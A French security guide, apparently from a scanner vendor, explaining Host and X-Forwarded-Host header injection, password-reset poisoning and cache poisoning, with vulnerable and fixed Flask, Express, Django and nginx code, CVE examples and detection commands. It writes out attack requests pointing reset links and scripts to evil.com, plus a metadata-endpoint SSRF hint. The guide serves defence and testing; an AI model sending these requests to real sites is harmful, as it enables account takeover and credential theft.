Des headers HTTP influencés par l'attaquant (Host, Location, Referer) sont utilisés pour construire une réponse de redirection sans validation de destination.
TL;DR
LocationHost: evil.com → email de reset contient https://evil.com/reset?token=TOKENX-Forwarded-Host: evil.com + host non dans clé de cache → tous les utilisateurs servent du JS attaquantHostLa redirection ouverte par header exploite la pratique courante d'utiliser des headers de requête HTTP — particulièrement Host et X-Forwarded-Host — pour construire des URLs absolues dans les réponses. Quand une application construit une URL de redirection comme https:// + request.headers["host"] + /reset?token=XYZ, un attaquant qui peut contrôler le header Host contrôle la destination de redirection.
La vulnérabilité relève de CWE-601 et OWASP A01:2021 (Broken Access Control). Elle diffère de la redirection par paramètre en ce que l'entrée malveillante arrive dans un header plutôt qu'un paramètre de requête — elle est invisible dans l'URL, et de nombreux contrôles de sécurité focalisés sur les URLs et règles WAF la manquent complètement.
L'impact le plus élevé : l'empoisonnement de reset de mot de passe. Un attaquant utilise l'injection de header Host pour empoisonner les liens de reset envoyés aux adresses email des victimes, puis intercepte le token de reset pour prendre le contrôle du compte.
L'empoisonnement de reset de mot de passe via header Host est le vecteur d'exploitation le plus impactant car il convertit une interaction réseau ponctuelle en prise de contrôle de compte persistante :
Host de la requête — ex : https://[Host]/reset?token=[TOKEN].Host: evil.com personnalisé (ou X-Forwarded-Host: evil.com). Aucune authentification requise — l'endpoint de reset est public.https://evil.com/reset?token=TOKEN_VALIDE.evil.com. L'attaquant le logue.POST /reset?token=TOKEN_VALIDE&new_password=mdp_attaquant au serveur légitime. Prise de contrôle du compte accomplie.L'attaque est entièrement passive du point de vue de la victime : elle reçoit un email de reset d'apparence légitime depuis la bonne adresse d'expéditeur, clique sur un lien, et son compte est pris en charge — même si elle n'entre jamais d'identifiants sur le site de l'attaquant.
L'empoisonnement de cache web via X-Forwarded-Host fait évoluer l'attaque du ciblage d'un utilisateur à la compromission de tous les utilisateurs d'une ressource mise en cache :
X-Forwarded-Host (liens canoniques, sources JavaScript, endpoints API, ou URLs de redirection).X-Forwarded-Host: evil.com et vérifie que la réponse inclut evil.com dans une URL.X-Forwarded-Host dans la clé de cache (courant dans les configurations CDN mal configurées), la réponse empoisonnée peut être mise en cache.evil.com — du code contrôlé par l'attaquant s'exécute dans le contexte du domaine légitime.Le rayon d'impact dépend du TTL de cache et du volume de trafic. Une réponse empoisonnée avec max-age=3600 servie sur un chemin à fort trafic peut affecter des milliers d'utilisateurs avant l'expiration du cache.
Au-delà de Host et X-Forwarded-Host, plusieurs autres headers peuvent provoquer une injection de redirection selon le framework :
Forwarded: host=evil.com (RFC 7239) — header proxy-forwarding moderne, certains frameworks le préfèrent à X-Forwarded-HostX-Original-URL: /admin — Symfony et certaines configurations Django utilisent ceci pour surcharger le chemin URL de la requête ; combiné avec une redirection, peut produire des valeurs Location contrôlées par l'attaquantX-Rewrite-URL — anciennes configurations IIS et Apache mod_rewrite ; impact similaire à X-Original-URLX-Forwarded-Server — moins courant, mais certains serveurs d'applications Java l'utilisent pour la construction d'URLFront-End-HTTPS: on — header Microsoft pour la détection de schéma ; si l'application l'utilise pour déterminer http:// vs https://, peut être abusé pour générer du contenu mixteLe code côté serveur vulnérable :
# VULNÉRABLE Flask — construit l'URL de reset depuis le header Host
from flask import request
@app.route("/forgot-password", methods=["POST"])
def forgot_password():
email = request.form["email"]
token = generate_reset_token(email)
# VULNÉRABLE : utilise request.host (contrôlé par l'attaquant)
reset_url = f"https://{request.host}/reset?token={token}"
send_email(email, f"Cliquez ici pour réinitialiser: {reset_url}")
return "Email envoyé", 200# Requête malveillante de l'attaquant
POST /forgot-password HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
email=victime@target.com
# La victime reçoit l'email :
# "Cliquez ici pour réinitialiser: https://evil.com/reset?token=TOKEN_VALIDE_ICI"| Technique | Header Utilisé | Mécanisme | Impact |
|---|---|---|---|
| Empoisonnement reset de mot de passe | Host ou X-Forwarded-Host | Lien de reset contient domaine attaquant | Prise de contrôle de compte |
| Empoisonnement de cache web | X-Forwarded-Host | Réponse avec domaine attaquant mise en cache pour autres utilisateurs | XSS/redirection de masse |
| SSRF via Host | Host: 169.254.169.254 | Routage interne vers service de métadonnées | Vol d'identifiants cloud |
| Empoisonnement de redirection API | Host | Redirection de réponse API pointe vers attaquant | Vol de token via client API |
| Injection OAuth via redirect | X-Forwarded-Host | Construction URL de redirection OAuth utilise X-FH | Vol de code d'autorisation |
# L'attaquant envoie (suppose X-Forwarded-Host hors de la clé de cache) :
GET /home HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Réponse vulnérable (mise en cache par CDN/Varnish) :
HTTP/1.1 200 OK
Cache-Control: max-age=3600
Content-Type: text/html
<script src="https://evil.com/app.js"></script>
<link rel="canonical" href="https://evil.com/home">Si la clé de cache inclut uniquement Host (pas X-Forwarded-Host), cette réponse empoisonnée est servie à tous les utilisateurs suivants demandant /home depuis target.com. Leurs navigateurs chargent evil.com/app.js — JavaScript contrôlé par l'attaquant s'exécutant dans le contexte de target.com.
CVE-2024-46452 — Plateforme similaire OpenCart (CVSS 8.1)
Cette plateforme CMS utilisait le header HTTP Host directement dans la construction de l'email de réinitialisation de mot de passe. Les attaquants soumettaient des demandes de reset pour des comptes victimes avec Host: evil.com, causant l'email de reset à contenir https://evil.com/index.php?route=account/reset&code=TOKEN. Quand les victimes cliquaient, leurs tokens de reset étaient loggés sur evil.com. CVSS 8.1 (Élevé) reflète l'impact de prise de contrôle de compte complète.
CVE-2024-40686 — IBM SmartCloud Analytics (CVSS 6.5)
IBM SmartCloud Analytics était vulnérable à l'injection de header Host causant une manipulation de cache et de redirection de session. L'application utilisait le header Host pour construire des URLs dans les réponses API et les redirections. Corrigé dans l'avis de sécurité IBM en codant en dur l'URL de base depuis la configuration.
Recherche PortSwigger — Empoisonnement de Reset de Mot de Passe
La recherche de PortSwigger sur les attaques de header Host identifie l'empoisonnement de reset de mot de passe comme la vulnérabilité de header Host la plus couramment exploitée dans les applications réelles. Le pattern apparaît dans les frameworks PHP (où $_SERVER['HTTP_HOST'] est contrôlé par l'attaquant), Django (sans ALLOWED_HOSTS configuré), et Express.js (où req.hostname fait confiance aux headers proxy sans configuration trusted proxy).
X-Forwarded-Host: VOTRE_URL_COLLABORATOR. Soumettre une réinitialisation pour un compte contrôlé.# Test de l'override Host
GET / HTTP/1.1
Host: canary.oast.fun
X-Forwarded-Host: canary.oast.fun# Burp Param Miner — fuzzing de header Host
# Activer via Burp Extensions → Param Miner → "Guess headers"
# nuclei — templates d'injection de header Host
nuclei -u https://target.com -t http/misconfiguration/host-header-injection.yaml
# httpx — vérification de réflexion de header Host
echo "https://target.com" | httpx -H "Host: canary.oast.fun" -silent -match-string "canary.oast.fun"
# Test curl manuel pour réflexion X-Forwarded-Host
curl -sI -H "X-Forwarded-Host: canary.oast.fun" https://target.com/forgot-password | grep -i "location\|canary"BreachVex détecte l'injection de header Host en envoyant des demandes de reset de mot de passe avec un host canary out-of-band unique dans X-Forwarded-Host et en surveillant les callbacks DNS/HTTP. Un finding confirmé nécessite que le serveur inclue le canary dans un header Location de redirection, ou que le canary out-of-band reçoive une requête HTTP originant du serveur (la simulation de clic sur email n'est pas nécessaire — un callback out-of-band suffit pour la confirmation).
# Flask — BONNE PRATIQUE
import os
BASE_URL = os.environ["APP_BASE_URL"] # ex: "https://app.example.com"
@app.route("/forgot-password", methods=["POST"])
def forgot_password():
email = request.form["email"]
token = generate_reset_token(email)
# BONNE PRATIQUE : URL de base depuis l'environnement, jamais depuis les headers de requête
reset_url = f"{BASE_URL}/reset?token={token}"
send_email(email, f"Cliquez ici pour réinitialiser: {reset_url}")
return "Email envoyé", 200// Express.js — BONNE PRATIQUE
const BASE_URL = process.env.APP_BASE_URL; // https://app.example.com
app.post("/forgot-password", async (req, res) => {
const token = await createResetToken(req.body.email);
// BONNE PRATIQUE : URL de base codée en dur — jamais req.hostname ni req.headers.host
const resetUrl = `${BASE_URL}/reset/${token}`;
await sendResetEmail(req.body.email, resetUrl);
res.json({ success: true });
});# settings.py
ALLOWED_HOSTS = ["app.example.com", "www.example.com"]
# Django rejette les requêtes où Host n'est pas dans cette liste avec 400 Bad Request
# Prévient l'injection de header Host au niveau du frameworkserver {
listen 443 ssl;
server_name app.example.com;
location / {
# Remplacer X-Forwarded-Host par le nom de serveur validé
# Prévient les clients injectant des valeurs X-Forwarded-Host arbitraires
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Host $host; # Override avec valeur validée
proxy_pass http://app_backend;
}
}Le req.hostname d'Express.js fait confiance au header X-Forwarded-Host quand app.set("trust proxy", true) est configuré. Pour les déploiements de production, définir app.set("trust proxy", "loopback, 10.0.0.0/8") pour faire confiance uniquement aux plages IP proxy connues. Ne jamais définir trust proxy à true en production.
La redirection ouverte par header se produit quand une application construit une URL de redirection en utilisant des headers HTTP contrôlables par l'attaquant — principalement Host ou X-Forwarded-Host — plutôt qu'une URL de base codée en dur. L'application lit le header Host depuis la requête et l'utilise pour construire une URL absolue dans la réponse Location, permettant à un attaquant de rediriger les utilisateurs vers son domaine en définissant un header Host ou X-Forwarded-Host personnalisé.
De nombreux frameworks construisent des URLs absolues en utilisant request.headers.host : Location: https://HOST/reset?token=XYZ. Si un attaquant envoie Host: evil.com, le header Location devient Location: https://evil.com/reset?token=XYZ. Le lien de réinitialisation de mot de passe dans l'email suivant contient evil.com — quand la victime clique dessus, le token est livré au serveur de l'attaquant.
L'empoisonnement de reset de mot de passe est l'attaque de header Host la plus impactante. L'application génère un lien de reset en utilisant le header Host : https://HOST/reset?token=TOKEN. Un attaquant soumet un reset de mot de passe pour le compte d'une victime avec un Host personnalisé : evil.com. La victime reçoit un email avec un lien de reset pointant vers evil.com. En cliquant, le token est loggé sur evil.com. L'attaquant utilise le token pour réinitialiser le mot de passe et prend le contrôle du compte.
X-Forwarded-Host est un header non-standard que les proxies inverses et CDN ajoutent pour indiquer le header Host original envoyé par le client. De nombreux frameworks préfèrent X-Forwarded-Host à Host pour construire des URLs absolues. Un attaquant qui peut contrôler X-Forwarded-Host peut injecter un hostname arbitraire. Contrairement à Host (que l'infrastructure proxy normalise souvent), X-Forwarded-Host peut être transmis sans modification.
CVE-2024-46452 (CVSS 8.1) affectait une plateforme e-commerce similaire à OpenCart. Le flux de réinitialisation de mot de passe utilisait le header Host pour construire l'URL du lien de reset. Un attaquant soumettait une demande de reset pour n'importe quel compte avec un header Host personnalisé, causant l'email de reset à contenir un lien vers son domaine. Quand la victime cliquait, le token de reset lui était livré.
Si une couche de cache n'inclut pas le header Host ou X-Forwarded-Host dans la clé de cache, mais que l'application utilise ces headers pour construire des URLs dans la réponse (sources JavaScript, liens canoniques), un attaquant peut empoisonner le cache. L'attaquant envoie une requête avec X-Forwarded-Host: evil.com ; la réponse inclut une balise script chargeant depuis evil.com. Si mise en cache, les utilisateurs suivants reçoivent la réponse empoisonnée — leurs navigateurs chargent du JavaScript contrôlé par l'attaquant.
Utiliser l'extension Param Miner de Burp Suite — elle fuzze automatiquement Host, X-Forwarded-Host, X-Original-URL, X-Rewrite-URL et les headers connexes. Manuellement : envoyer une requête avec X-Forwarded-Host: canary.oast.fun et un déclencheur d'email de reset de mot de passe. Vérifier si l'email de reset contient canary.oast.fun. Utiliser Burp Collaborator pour la confirmation OOB si pas d'accès email.
Le paramètre ALLOWED_HOSTS de Django définit une allowlist explicite de hostnames valides. Si le header Host n'est pas dans ALLOWED_HOSTS, Django retourne un 400 Bad Request avant que tout code applicatif s'exécute. Cela prévient l'injection de header Host au niveau du framework. L'équivalent dans Flask n'est pas intégré — les développeurs doivent configurer SERVER_NAME ou implémenter un middleware personnalisé. Express.js n'a pas de validation Host intégrée.
Dans nginx.conf, toujours définir proxy_set_header X-Forwarded-Host $host pour transmettre la valeur validée du header Host, remplaçant toute valeur X-Forwarded-Host fournie par le client. Le paramètre set_real_ip_from définit les plages IP pouvant fournir des headers X-Forwarded-For, mais ne restreint pas automatiquement X-Forwarded-Host — nécessite une configuration explicite.
X-Forwarded-Host est l'alternative la plus courante. D'autres que certains frameworks utilisent : X-Original-URL (Symfony), X-Rewrite-URL (ancien IIS), Forwarded: host= (RFC 7239), Front-End-HTTPS (Microsoft), X-Real-IP (nginx), CF-Connecting-IP (Cloudflare). L'essentiel est de savoir si l'application utilise l'un d'eux pour construire des URLs absolues dans les redirections, emails, ou réponses API sans validation.